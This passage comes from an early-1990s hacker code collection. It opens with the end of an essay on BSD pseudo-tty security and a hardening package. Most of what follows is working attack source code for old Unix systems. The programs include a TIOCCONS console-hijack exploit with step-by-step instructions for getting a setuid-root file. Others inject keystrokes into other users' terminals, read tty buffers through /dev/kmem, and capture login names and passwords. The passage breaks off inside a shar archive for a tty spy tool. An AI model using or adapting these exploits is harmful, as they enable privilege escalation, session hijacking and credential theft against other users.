the reader.) It is also clear that, because ptys are static and unprotected, one user can trivially deny service to all others, again without so much as an accounting record. While denial of service is not as severe as a true security hole, it is just as important. Note that some systems have even the hardwired ttys set up mode 666 when they're unused. This is pointless. It leads to the same bugs as above and has no conceivable application. A different type of tty bug---one that would apply even if ttys weren't in the filesystem---is that a program can retain access to a tty even after someone else logs in. Without some major enhancements to the system (viz.: dynamic ptys, perhaps through streams), telnetd and getty have to reuse an available tty without knowing whether a background process still has access to that tty. Users regularly complain about garbage spewed onto their screens by other users' background processes; a security hole waiting for accidents to happen is more dangerous than one that is difficult to exploit. The careful reader may have raised several objections to the above descriptions, as some manual pages give the impression that a user can protect himself from attackers. If a process is running under a terminal, isn't it susceptible to signals from that terminal? If it's not in the tty's process group, doesn't it get stopped if tostop is set? The answers are yes and yes, but an attacker can ignore various signals, set his process group carefully, and/or stick himself inside a vfork() to dodge these signal problems. A more important objection is that vhangup() revokes access to ttys. However, empirical tests show that vhangup() does nothing on many systems, less than its documentation on most, and in any case not much. Even if it worked as documented, it would not revoke a process's access to its control terminal. Convex UNIX, perhaps the most secure available BSD UNIX with respect to tty protection, has a large amount of paranoia coded into the kernel in various attempts to solve the problems mentioned above. Even it does not protect against all the above attacks, and race conditions defeat much of its care. Until UNIX has a working enforce() call to reliably enforce new access permissions on an object, users should never be given permission for anything that they may not be allowed to do forever. It is worthwhile to note another SCINUP at this point: On Sun's popular workstations, /etc/utmp is almost always mode 666. Sun did this because many of its window programs (``tools''), like many programs available for other machines, would benefit from an /etc/utmp entry. Making /etc/utmp world-writable was considered more secure than making those programs setuid root. Unfortunately, many programs depend on /etc/utmp for accurate information, and can develop new security holes if they are deluded into thinking that a different user is working under the tty. Even on single-user machines, a writable /etc/utmp is an accident waiting to happen. 6. Adding pty security to current systems In this section, we consider what pty can do to prevent the security holes of section 5. This section is mainly of interest to system managers of machines derived from BSD 4.2 or 4.3. Without support from the kernel, pty must run setuid to provide real security. It is careful to make sure that the slave runs as the original uid; it is very careful to make sure that the kernel accounts pty use to the correct user; and it is extremely careful not to touch any files outside the session directory. (Foornote: This level of security is very difficult to achieve under System V before release 4.) Under BSD, pty can successfully run setuid as any given user. (It can be installed by unprivileged users on current insecure machines, but after taking all the steps mentioned in this section, a sysadmin can be sure that unauthorized pseudo-tty access is impossible.) Unfortunately, even BSD doesn't provide enough security features; as mentioned in section 4, various restrictions, missing capabilities, and bugs probably require that pty be installed setuid root. We will assume that some user, say ``pty'', has been set up for pty use. This should be a system-only account, never used for interactive logins and only available for storing privileged programs and secure files. It may or may not be the same as root. With pty in place, two SCINUPs disappear immediately. Unused psuedo-ttys can be made owner pty, mode 600; and /etc/utmp can be made owner pty, mode 644. Insecure pseudo-ttys and world-writable /etc/utmp are no longer necessary for user programs to take advantage of these features. (Of course, pty can work with the old, insecure setup; for a gradual upgrade, a sysadmin can even dedicate some ptys to secure use and some old ptys to insecure use.) pty supports the BSD 4.3 tty group model. It supports leaving pseudo-tty ownership with pty instead of changing it to the current user. It supports a default of unwritable (and un-``biffable'') ttys. The pty package includes mesg and biff adapted to work with these changes. The system administrator can configure pty without these features if he wants. pty's random pseudo-tty searching can give a huge boost to speed and security, as mentioned in section 2. Its use of TIOCEXCL closes many holes, though the widespread use of /dev/tty means that this cannot be made default. These are independent of all other security features. None of the above (except TIOCEXCL, but there are still races) address the problem of a background process keeping access to a pseudo-tty. pty's test for previous access is completely reliable under some variants of the BSD kernel, and completely unreliable under others. If the kernel could be counted on to exhibit proper O_NDELAY tty behavior, pty would have closed the most important tty security hole. The author is considering adding an option for pty to search the kernel file table. Of course, it would be even better if the kernel supported real streams and pty were redone to use dynamic stream pseudo-ttys. On systems where vhangup() reliably closes everything except /dev/tty, there's a different solution: Eliminate /dev/tty. This is probably a good idea for future systems in any case. It is considered further in section 9. Installing pty with all security measures enabled is useless unless programs are modified to actually use pty. It is straightforward to modify getty so that it always ignores the real tty and forks login under pty. All hardwired /dev/tty* would remain permanently in raw mode, owned by root, mode 600. It is not so easy to modify telnetd to use pty, because telnetd allocates a pseudo-tty for itself and depends on full control to pass mode changes between the pseudo-tty and the telnet on the other side of the network. The author has done the necessary work, using pty's file descriptor passing feature to give telnetd the tty descriptors. A side effect of this strategy is that the patched telnetd runs at the same efficiency as the original version, even after a reconnect. Patches for telnetd are included in the pty package. A few problems arise because pty and login have different views of /etc/utmp. The latter's strategy regularly leads to race conditions on heavily used machines, does not adapt well to ptys used in random order, and is logically impossible to adapt to dynamically allocated ptys. Nevertheless, pty has to conform to it, so the patched telnetd invokes pty with -xR to find ptys in an order that login can handle. (Footnote: A much better solution is to have utmp initialized at system startup to list all available ptys, in the order that login requires; then pty will conform to that order. This still won't help login once ptys are out of the filesystem.) A more serious problem is that the pseudo-tty is allocated before authentication and hence is controlled by root. The pty package includes a ``sessuser'' command to fix this problem. Once the user owns the pseudo-tty file and is listed in /etc/utmp for that tty (all as per login's usual procedure), ``sessuser'' changes ownership of the session to the user. Then all the other session commands will work properly. Some work still needs to be done, to adapt other common programs (rlogind, screen, emacs, etc.) to use the pty model. In the meantime, a sysadmin can take the ``gradual upgrade'' strategy and leave those old programs to use insecure pseudo-ttys. Users will meanwhile garner the benefits of tty security and session management. 7. pty extras lock is a clone of the usual program. It corrects many of the original's failings, by being much simpler: it does not accept hasta la vista; it does not accept the root password; it never times out; and it does print a message for each bad password. (Also, unlike many versions, it catches all tty signals; so even if an attacker manages to reset the tty from raw mode, he cannot interrupt the lock.) write has several security holes: 1. Control characters were passed through. This version converts anything unprintable into a caret. 2. Lines were not distinctively marked. A user could manually simulate the ``EOT'' or ``EOF'' sequence, wait a few minutes, then start sending anything to the other tty without identification. This version precedes each line with the name of the sending user, and prints something more informative than EOT for an ended message. 3. write could be used to flood a terminal. (This is an accident waiting to happen.) This version puts a one-second pause between each line and restricts line length. 4. Originally, write would only check the protection on the tty being written to. But this meant that a user could be interrupted by someone hiding behind mesg n and have no recourse. (Footnote: Remember that UNIX has no enforce() call to enforce new permissions on an object. Setting mesg n does not stop a write in progress.) So many versions of write included ``revenge'': X was allowed to write to Y only if Y could write back. However, these versions tested tty protection only at the beginning of a message---which was useless. This version does the correct test: it simply checks write permission before sending each new line. ------------------------------------------------------------------------------ Comments: more comments/applications for this information are needed. Q's: Biblio: CrossRef: Code/shRef: ============================================================================== C0dEz R el8 d00d! We wANt m0rE c0deZ iN d1s mAG! ============================================================================== blast.c 4.cb.15.00 04/04/92 ------------------------------------------------------------------------------ DATA: Signals ======= There is a major bug in 4.2 which allows you to set your process group and your terminal process group to any value you like. This results in several nasty security features. #include #include main(argc, argv) char **argv; { register char *str; register char *cp; register int pid; int pgrp; struct sgttyb sb; struct sgttyb nsb; struct tchars tc; struct ltchars lc; if (argc < 2) { fprintf(stderr, "usage: blast [-ksd] pid ...\n"); exit(1); } ioctl(0, TIOCGETP, &sb); nsb = sb; nsb.sg_flags &= ~ECHO; ioctl(0, TIOCSETN, &nsb); if (ioctl(0, TIOCGETC, &tc)) { perror("getc"); goto done; } if (ioctl(0, TIOCGLTC, &lc)) { perror("lgetc"); goto done; } argv++; cp = &tc.t_intrc; sigsetmask(-1); while (argc-- > 1) { str = *argv++; if (*str == '-') { switch (str[1]) { case 'k': /* kill process */ cp = &tc.t_intrc; break; case 's': /* stop process */ cp = &lc.t_suspc; break; case 'd': /* dump process */ cp = &tc.t_quitc; break; default: /* illegal */ fprintf(stderr, "bad option\n"); goto done; } continue; } pid = 0; while (*str) { pid = pid * 10; if ((*str < '0') || (*str > '9')) { fprintf(stderr, "bad number\n"); goto done; } pid += (*str++ - '0'); } pgrp = getpgrp(pid); if (pgrp < 0) { perror("getpgrp"); goto done; } if (ioctl(0, TIOCSPGRP, &pgrp)) { perror("ttyspgrp"); goto done; } if (setpgrp(0, pgrp)) { perror("spgrp"); goto done; } if (ioctl(0, TIOCSTI, cp)) { perror("sti"); goto done; } } done: ioctl(0, TIOCSETN, &sb); } ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== A new song by Nirvana: Smells Like Gene Spafford! ============================================================================== bugntrig.c 4.cb.15.01 04/04/92 ------------------------------------------------------------------------------ DATA: Here you have the code for two nice programs. bug.c and trig.c. It polls bugid#1008324, the well-known TIOCCONS bug. I take no responsibility for the problems on your system that might occur after you have run these programs. ******************************************************************** *Please do understand that if the wrong user get his hands on these* *programs, he'll get root-priviliges!!!!!! * ******************************************************************** 1) Compile bug.c 2) Compile trig.c 3) Move trig to /tmp 4) Run bug (it will wait until sameone is using the console 5) Log in as root on the real console 6) Give some commands on the console 7) Root will be logged out of the console 8) You will have a file, owned by root, chmod 4711, named /tmp/testfile 9) Maybe you have to kill -HUP the getty on the console to force the console to work again. 10) Be sure to remove testfil, bug and trig. bug.c: #include #include #include #include #include #include #include static void thething() { alarm(5); } static struct sigvec sigge = { thething, sigmask(SIGALRM), SV_INTERRUPT }; main() { int m,s; char buf[1024]; char *l; time_t yesterday; struct stat devcon; /* The last pty on the system */ static char lastpty[]="/dev/ptyvf"; /* The name of the program "trig" */ static char horrible[] = ";/tmp/trig;exit\n"; sigvec(SIGALRM,&sigge,0); if(stat("/dev/console",&devcon) == -1) { perror("/dev/console"); exit(1); } yesterday=devcon.st_atime; if((m=open(lastpty,O_RDWR)) == -1) { perror(lastpty); exit(1); } lastpty[5]='t'; if((s=open(lastpty,O_RDWR)) == -1) { perror(lastpty); exit(1); } /* Ok, now get total control of the console */ if(ioctl(s,TIOCCONS) == -1) { perror("TIOCONS"); exit(1); } alarm(5); /* Wait until the console is used */ do { if (read(m,buf,sizeof buf)<0 && errno!=EINTR) return 1; stat("/dev/console",&devcon); } while (devcon.st_atime==yesterday); /* Do the ugly stuff */ alarm(0); switch (fork()) { case -1: return 1; case 0: alarm(10); while (read(m,buf,sizeof buf)>0) ; break; default: /* In the main process, put the "horrible" command on the console */ for (l=horrible; *l; l++) if (write(m,l,1)==-1) break; while (wait(0)<=0) ; } return 0; } trig.c: #include #include int main(argc,argv,envp) int argc; char **argv,**envp; { int s; s=open("/dev/console",O_WRONLY); ioctl(s,TIOCCONS); close(s); /* Change this to a nice directory ... */ chdir("/tmp"); chown("testfil",0,0); chmod("testfil",04711); /* Oops, here we go... */ return 0; } ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== If women are so independant, why do they go to the bathroom in pairs? ============================================================================== readtty.c 4.cb.15.02 04/04/92 ------------------------------------------------------------------------------ DATA: #include #include #include #include #include #include #include /** **/ #defineNDZ1/* DZ's and DH's have to be mapped into */ #defineNDH2/* your own hardware*/ #define NPT2/* number of pty controllers*/ #defineDZ111/* major device number of the dz11*/ #defineDH1133/* major device number of the dh11*/ #define PTY20/* major device number of the ptys*/ #defineDZ_X8/* eight lines per dz11*/ #defineDH_X16/* sixteen lines per dh11*/ #define PT_X16/* sixteen lines per pty controller*/ #undefmajor()/* need to do this because of kernel*/ #undefminor()/* macros used to strip off device #'s */ static struct nlist nl[2]; static char *name_list[] = { "_dz_tty",/* base address of the dz tty structures*/ "_dhu11" ,/* same for the dh's*/ "_pt_tty",/* pseudo-ttys*/ 0 }; main(argc , argv) char **argv; int argc; { /********************************/ int major;/* place to hold major #*/ int minor;/* place to hold minor #*/ int board_type;/* tells me which kind of tty */ int fd;/* fd for memory*/ long offset;/* how far into the above tables*/ struct tty ttyb;/* place to put the tty buffer*/ extern char *calloc();/* our friend calloc*/ get_args(&major , &minor , argc , argv); check_args(major , minor , &board_type , argv); get_name_list(board_type , argv); open_memory(&fd , argv); { char *p;/* blank out argument list */ for (p = argv[1]; *p != '\0'; p++) *p = '\0'; for (p = argv[2]; *p != '\0'; p++) *p = '\0'; } offset = minor * sizeof(struct tty); fflush(stdout); fflush(stdout); while (1) { read_tty(fd , nl[0].n_value , offset , &ttyb); get_clist(fd , &ttyb.t_nu.t_t.T_rawq); } } /** ***Much monkeying around was done before I settled on this ***procedure. I attempted to follow the c_next pointers in ***the individual cblocks. This is friutless since by the ***time we do the second seek and read the information has ***been whisked away. *** ***So - The LIMITATIONS of this routine are: *** ***cannot read from any tty in RAW mode ***can only snarf first 28 characters (ie ***the first cblock) *** ***Nice things about this routine: *** ***only NEW characters are echoed to the output ***(eg characters in the cblock which have been ***seen before are swallowed). **/ get_clist(fd , cl) register struct clist *cl; { static char c[CBSIZE]; static char *old_start = 0 , *old_finish = 0; static int old_i = 0; char *pntr; int tn , in; if ((cl->c_cc > 0) && ((old_start != cl->c_cf) || (old_finish != cl->c_cl))) { pntr = c; lseek(fd , (long) cl->c_cf , 0); read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc)); if (old_start == cl->c_cf) { in -= old_i; pntr += old_i; } if (in > 0) while (in--) putchar(*(pntr++)); else if (in < 0) while (in++) putchar('\010'); fflush(stdout); old_i = tn; old_start = cl->c_cf; old_finish = cl->c_cl; } if (cl->c_cc <= 0) { if (old_i != 0) putchar('\n'); old_i = (int) NULL; old_start = old_finish = NULL; } } read_tty(fd , base , offset , buffer) long base , offset; register struct tty *buffer; { register int i; lseek(fd , base + offset , 0); i = read(fd , buffer , sizeof(struct tty)); if (i != sizeof(struct tty)) { printf("unexpected return from read\n"); printf("should have been %d\n" , sizeof(struct tty)); printf("was %d\n" , i); exit(0); } } open_memory(fd , argv) int *fd; char **argv; { if ((*fd = open("/dev/kmem" , 0)) < 0) { perror(argv[0]); exit(0); } } get_name_list(index,argv) int index; char **argv; { nl[0].n_name = name_list[index]; nlist("/vmunix" , nl); if (! nl[0].n_type) { printf("%s: couldn't get name list\n" , argv[0]); exit(0); } printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value); } get_args(major , minor , argc , argv) int *major , *minor , argc; char **argv; { if (argc != 3) { fprintf(stderr,"usage: %s major_dev minor_dev \n" , argv[0]); exit(0); } *major = atoi(argv[1]); *minor = atoi(argv[2]); printf("Major Device: %d -- Minor Device: %d\n" , *major , *minor); } check_args(major , minor , board , argv) char **argv; int *board; { if (minor < 0) { bad_minor:printf("%s: bad minor device number\n" , argv[0]); exit(0); } switch (major) { case DZ11: if (minor >= NDZ * DZ_X) goto bad_minor; printf("DZ11 - Unit %d\n" , minor / DZ_X); *board = 0; break; case DH11: if (minor >= NDH * DH_X) goto bad_minor; printf("DH11 - Unit %d\n" , minor / DH_X); *board = 1; break; case PTY: if (minor >= NPT * PT_X) goto bad_minor; printf("PTY - Unit %d\n" , minor / PT_X); *board = 2; break; default: printf("%s: bad major device number\n" , argv[0]); exit(0); } } ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== If men are interested in only one thing, why do we like beer so much? ============================================================================== stufftty.c 4.cb.15.03 04/04/92 ------------------------------------------------------------------------------ DATA: Terminals ========= Under 4.2BSD and it's derivatives, a user can "write" on another users terminal as if he was really there. Here is some code I call "stuff" to show off this nasty bug. /* * Stuff: program to stuff input into another terminal. * * This program bypasses the normal superuser check for stuffing chars * into other people's terminals. All you need is write permission on * the user's terminal. */ #include #include main(argc, argv) char **argv; { register int fd; /* file descriptor */ char ch; /* current character */ char name[100]; /* tty name */ struct sgttyb sb; /* old and new tty flags */ struct sgttyb nsb; if (argc < 2) { fprintf(stderr, "stuff ttyname\n"); exit(1); } argv++; if (**argv == '/') strcpy(name, *argv); /* build full name */ else sprintf(name, "/dev/%s", *argv); if (setpgrp(0, 0)) /* clear my process group */ { perror("spgrp"); goto done; } if (open(name, 1) < 0) /* open tty, making it mine */ { perror(name); exit(1); } fd = open("/dev/tty", 2); /* open read/write as tty */ if (fd < 0) { perror("/dev/tty"); exit(1); } ioctl(0, TIOCGETP, &sb); /* go to raw mode */ nsb = sb; nsb.sg_flags |= RAW; nsb.sg_flags &= ~ECHO; ioctl(0, TIOCSETN, &nsb); sigsetmask(-1); /* stop hangups */ printf("Connected. Type ^B to exit\r\n"); while (1) { if (read(0, &ch, 1) <= 0) break; if ((ch & 0x7f) == '\002') break; if (ioctl(fd, TIOCSTI, &ch)) /* stuff char on "his" tty */ { perror("\r\nsti failed\r"); goto done; } ch &= 0x7f; /* echo it for me */ if (ch < ' ') { if ((ch == '\r') || (ch == '\n')) { write(1, "\r\n", 2); continue; } ch += '@'; write(1, "^", 1); write(1, &ch, 1); continue; } if (ch == '\177') { write(1, "^?", 2); continue; } write(1, &ch, 1); } done: ioctl(0, TIOCSETN, &sb); /* reset tty */ } ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== This is not for the timid, shy, moralistically superior, easily offended, religous types, system administrators, old foggies, EFF members...etc ============================================================================== tty-spy1: cover.c 4.cb.15.04 04/04/92 ------------------------------------------------------------------------------ DATA: From: fidelio@geech.gnu.ai.mit.edu (Rob J. Nauta) Newsgroups: alt.security,alt.sources,comp.unix.internals Subject: BSD tty security - an example Message-ID: <15678@life.ai.mit.edu> Date: 8 May 91 09:59:14 GMT Here's a small program I wrote a while back. It speaks for itself, compile it, run it in the background (with &) and sit back. This program is an official release of the TimeWasters from HOLLAND ! --- /************************************************************************/ /* cover.c, version 2.5, Copyright (C) 1991 by WasteWare. */ /* Unauthorized use and reproduction prohibited. */ /* This program monitors the login process and records its findings. */ /************************************************************************/ #include #include #include #include #include #include #define DEBUG 1 /* Enable additional debugging info (needed!) */ #define USLEEP /* Define this if your UNIX supports usleep() */ #ifdef ULTRIX #define TCGETS TCGETP/* Get termios structure */ #define TCSETS TCSANOW/* Set termios structure */ #endif handler(signal) int signal; /* signalnumber */ { /* do nothing, ignore the signal */ if(DEBUG) printf("Ignoring signal %d\n",signal); } int readandpush(f,string) FILE *f; char *string; { char *cp,*result; int e; struct termios termios; result=fgets(string,20,f); /* Read a line into string */ if (result==NULL) {perror("fgets()"); return(1); } if (DEBUG) {printf("String: %s\n",string); fflush(stdout); } ioctl(0,TCGETS,&termios);/* These 3 lines turn off input echo */ /* echo = (termios.c_lflag & ECHO);*/ termios.c_lflag=((termios.c_lflag | ECHO) - ECHO); ioctl(0,TCSETS,&termios); for (cp=string;*cp;cp++) /* Push it back as input */ { e=ioctl(0,TIOCSTI,cp); if(e<0) {perror("ioctl()"); return(1); } } return(0); } main(argc,argv) int argc; char *argv[]; { /* variables */ int err; FILE *f; char *term = "12345678901234567890"; char *login = "12345678901234567890"; char *password = "12345678901234567890"; if (argc < 2) { printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",arg]); printf("Enter ttyname: "); gets(term); } else term=argv[argc-1]; signal(SIGQUIT,handler); signal(SIGINT,handler); signal(SIGTERM,handler); signal(SIGHUP,handler); signal(SIGTTOU,handler); close(0); /* close stdin */ #ifdef ULTRIX if(setpgrp(0,100)==-1) perror("setpgrp:"); /* Hopefully this works */ #else if(setsid()==-1) perror("setsid:"); /* Disconnect from our controlling TTY and start a new session as sessionleader */ #endif f=fopen(term,"r"); /* Open tty as a stream, this guarantees getting file descriptor 0 */ if (f==NULL) { printf("Error opening %s with fopen()\n",term); exit(2); } if (DEBUG) system("ps -xu>>/dev/null &"); fclose(f); /* Close the TTY again */ f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */ if (f==NULL) { printf("Error opening /dev/tty with fopen()\n",term); exit(2); } if(readandpush(f,login)==0) { #ifdef USLEEP usleep(20000);/* This gives login(1) a chance to read the string, or the second call would read the input that the first call pushed back ! /* #else for(i=0;i<1000;i++) err=err+(i*i) /* error/* Alternatives not yet implemented */ #endif readandpush(f,password); printf("Result: First: %s Second: %s\n",login,password); } fflush(stdout); sleep(30); /* Waste some time, to prevent that we send a SIGHUP to login(1), which would kill the user. Instead, wait a while. We then send SIGHUP to the shell of the user, which will ignore it. */ fclose(f); } From: urban@cbnewsl.att.com (john.urban) Newsgroups: alt.security,alt.sources,comp.unix.internals Subject: Re: BSD tty security - an example Message-ID: <1991May9.182941.16988@cbnewsl.att.com> Date: 9 May 91 18:29:41 GMT In article <15678@life.ai.mit.edu> fidelio@geech.gnu.ai.mit.edu (Rob J. Nauta) writes: >Here's a small program I wrote a while back. It speaks for itself, >compile it, run it in the background (with &) and sit back. >This program is an official release of the TimeWasters from HOLLAND ! > >--- > close(0); /* close stdin */ >#ifdef ULTRIX >if(setpgrp(0,100)==-1) >perror("setpgrp:"); /* Hopefully this works */ >#else >if(setsid()==-1) >perror("setsid:"); /* Disconnect from our controlling TTY and > start a new session as sessionleader */ >#endif > f=fopen(term,"r"); /* Open tty as a stream, this guarantees > getting file descriptor 0 */ > if (f==NULL) > { printf("Error opening %s with fopen()\n",term); > exit(2); > } >if (DEBUG) system("ps -xu>>/dev/null &"); > fclose(f); /* Close the TTY again */ > f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */ > if (f==NULL) > { printf("Error opening /dev/tty with fopen()\n",term); > exit(2); > } This program does not exhibit the problem on AT&T UNIX System V/386 Release 4.0 Version 2.[01]. The fopen of "/dev/tty" fails because the setsid() passed successfully. In this small program: # cat T.c main() { setsid(); fopen("/dev/tty", "r"); } # make T cc -O T.c -o T # truss ./T You'll see the fopen fails w/ ENXIO. If the setsid() is removed, then the fopen passes fine. Sincerely, John Ben Urban ------------------------------------------------------------------------------ Comments: Buggy and needs some clean up work. Someone please submit a re-do. Q's: Biblio: CrossRef: Code/shRef: ============================================================================== There's something about a beautiful woman without a brain in her head that can still be exciting... ============================================================================== tty-spy2 4.cb.15.05 04/04/92 ------------------------------------------------------------------------------ DATA: From: ag@cbmvax.commodore.com (Keith Gabryelski) Newsgroups: alt.sources Subject: advise (spy) for streams ttys. Message-ID: <15193@cbmvax.commodore.com> Date: 16 Oct 90 23:26:25 GMT The included source code includes advise.c# a user program to interact with # the advise device and module. advisedev.c# the advise device driver. # (requests to attach to a users terminal # are done through this device) advisemod.c# the advise module. # (this module is pushed onto the advisee's # tty stream so advisedev may attach to # it.) advisemod.h# useful header file. COPYING Makefile# Other files. Pax, Keith Ps, This will only work under System V Release 4.0 streams ttys. With little effort it could be made to work under other streams tty subsystems. No amount of effort (save re-thinking and re-implimenting) will make this thing work on non-streams based ttys. #! /bin/sh # This is a shell archive, meaning: # 1. Remove everything above the #! /bin/sh line. # 2. Save the resulting text in a file. # 3. Execute the file with /bin/sh (not csh) to create the files: #COPYING #Makefile #advise.c #advise.man #advisedev.c #advisemod.c #advisemod.h # This archive created: Tue Oct 16 19:15:42 1990 export PATH; PATH=/bin:$PATH if test -f 'COPYING' then echo shar: will not over-write existing file "'COPYING'" else cat << \SHAR_EOF > 'COPYING' Advise GENERAL PUBLIC LICENSE (Clarified 11 Feb 1988) Copyright (C) 1988 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license, but changing it is not allowed. You can also use this wording to make the terms for other programs. The license agreements of most software companies keep you at the mercy of those companies. By contrast, our general public license is intended to give everyone the right to share Advise. To make sure that you get the rights we want you to have, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. Hence this license agreement. Specifically, we want to make sure that you have the right to give away copies of Advise, that you receive source code or else can get it if you want it, that you can change Advise or use pieces of it in new free programs, and that you know you can do these things. To make sure that everyone has such rights, we have to forbid you to deprive anyone else of these rights. For example, if you distribute copies of Advise, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must tell them their rights. Also, for our own protection, we must make certain that everyone finds out that there is no warranty for Advise. If Advise is modified by someone else and passed on, we want its recipients to know that what they have is not what we distributed, so that any problems introduced by others will not reflect on our reputation. Therefore we (Richard Stallman and the Free Software Foundation, Inc.) make the following terms which say what you must do to be allowed to distribute or change Advise. COPYING POLICIES 1. You may copy and distribute verbatim copies of Advise source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy a valid copyright notice "Copyright (C) 1988 Free Software Foundation, Inc." (or with whatever year is appropriate); keep intact the notices on all files that refer to this License Agreement and to the absence of any warranty; and give any other recipients of the Advise program a copy of this License Agreement along with the program. You may charge a distribution fee for the physical act of transferring a copy. 2. You may modify your copy or copies of Advise or any portion of it, and copy and distribute such modifications under the terms of Paragraph 1 above, provided that you also do the following: a) cause the modified files to carry prominent notices stating that you changed the files and the date of any change; and b) cause the whole of any work that you distribute or publish, that in whole or in part contains or is a derivative of Advise or any part thereof, to be licensed at no charge to all third parties on terms identical to those contained in this License Agreement (except that you may choose to grant more extensive warranty protection to some or all third parties, at your option). c) You may charge a distribution fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. Mere aggregation of another unrelated program with this program (or its derivative) on a volume of a storage or distribution medium does not bring the other program under the scope of these terms. 3. You may copy and distribute Advise (or a portion or derivative of it, under Paragraph 2) in object code or executable form under the terms of Paragraphs 1 and 2 above provided that you also do one of the following: a) accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Paragraphs 1 and 2 above; or, b) accompany it with a written offer, valid for at least three years, to give any third party free (except for a nominal shipping charge) a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Paragraphs 1 and 2 above; or, c) accompany it with the information you received as to where the corresponding source code may be obtained. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form alone.) For an executable file, complete source code means all the source code for all modules it contains; but, as a special exception, it need not include source code for modules which are standard libraries that accompany the operating system on which the executable file runs. 4. You may not copy, sublicense, distribute or transfer Advise except as expressly provided under this License Agreement. Any attempt otherwise to copy, sublicense, distribute or transfer Advise is void and your rights to use the program under this License agreement shall be automatically terminated. However, parties who have received computer software programs from you with this License Agreement will not have their licenses terminated so long as such parties remain in full compliance. 5. If you wish to incorporate parts of Advise into other free programs whose distribution conditions are different, write to the Free Software Foundation at 675 Mass Ave, Cambridge, MA 02139. We have not yet worked out a simple rule that can be stated here, but we will often permit this. We will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software. Your comments and suggestions about our licensing policies and our software are welcome! Please contact the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, or call (617) 876-3296. NO WARRANTY BECAUSE ADVISE IS LICENSED FREE OF CHARGE, WE PROVIDE ABSOLUTELY NO WARRANTY, TO THE EXTENT PERMITTED BY APPLICABLE STATE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING, FREE SOFTWARE FOUNDATION, INC, RICHARD M. STALLMAN AND/OR OTHER PARTIES PROVIDE ADVISE "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF ADVISE IS WITH YOU. SHOULD ADVISE PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW WILL RICHARD M. STALLMAN, THE FREE SOFTWARE FOUNDATION, INC., AND/OR ANY OTHER PARTY WHO MAY MODIFY AND REDISTRIBUTE GNU SEND AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY LOST PROFITS, LOST MONIES, OR OTHER SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS) GNU SEND, EVEN IF YOU HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES, OR FOR ANY CLAIM BY ANY OTHER PARTY. SHAR_EOF fi # end of overwriting check if test -f 'Makefile' then echo shar: will not over-write existing file "'Makefile'" else cat << \SHAR_EOF > 'Makefile' # Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com) # # This file is part of advise. # # advise is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY. No author or distributor # accepts responsibility to anyone for the consequences of using it # or for whether it serves any particular purpose or works at all, # unless he says so in writing. Refer to the advise General Public # License for full details. # # Everyone is granted permission to copy, modify and redistribute # advise, but only under the conditions described in the # advise General Public License. A copy of this license is # supposed to have been given to you along with advise so you # can know your rights and responsibilities. It should be in a # file named COPYING. Among other things, the copyright notice # and this notice must be preserved on all copies. */ # # Author:Keith Gabryelski(ag@amix.commodore.com) # CC=gcc CFLAGS=-O all: advise advise.o: advisemod.h SHAR_EOF fi # end of overwriting check if test -f 'advise.c' then echo shar: will not over-write existing file "'advise.c'" else cat << \SHAR_EOF > 'advise.c' /* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com) This file is part of advise. advise is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY. No author or distributor accepts responsibility to anyone for the consequences of using it or for whether it serves any particular purpose or works at all, unless he says so in writing. Refer to the advise General Public License for full details. Everyone is granted permission to copy, modify and redistribute advise, but only under the conditions described in the advise General Public License. A copy of this license is supposed to have been given to you along with advise so you can know your rights and responsibilities. It should be in a file named COPYING. Among other things, the copyright notice and this notice must be preserved on all copies. */ /* ** Author:Keith Gabryelski(ag@amix.commodore.com) */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "advisemod.h" extern char *optarg; #define max(a,b) ((a)>(b)?(a):(b)) static struct module_list { char *name;/* name of module */ struct module_list *next;/* next module to be pushed */ } advise_module_list = { "advise", NULL, }; static void usage(void), advise(char *); static char *strchar(char); static struct module_list *list_modules(int, char *); static int allow_deny_p, allow_deny; static int allow_advise_p, allow_advise; static int error_flag; static int secret, spy; static int meta_character = '~'; static char *progname; static char *module = "ldterm"; int main(int argc, char **argv) { int c, error = 0; struct termios termios; struct module_list *modules; progname = *argv; while((c = getopt(argc, argv, "ADM:Sadm:s?")) != EOF) { 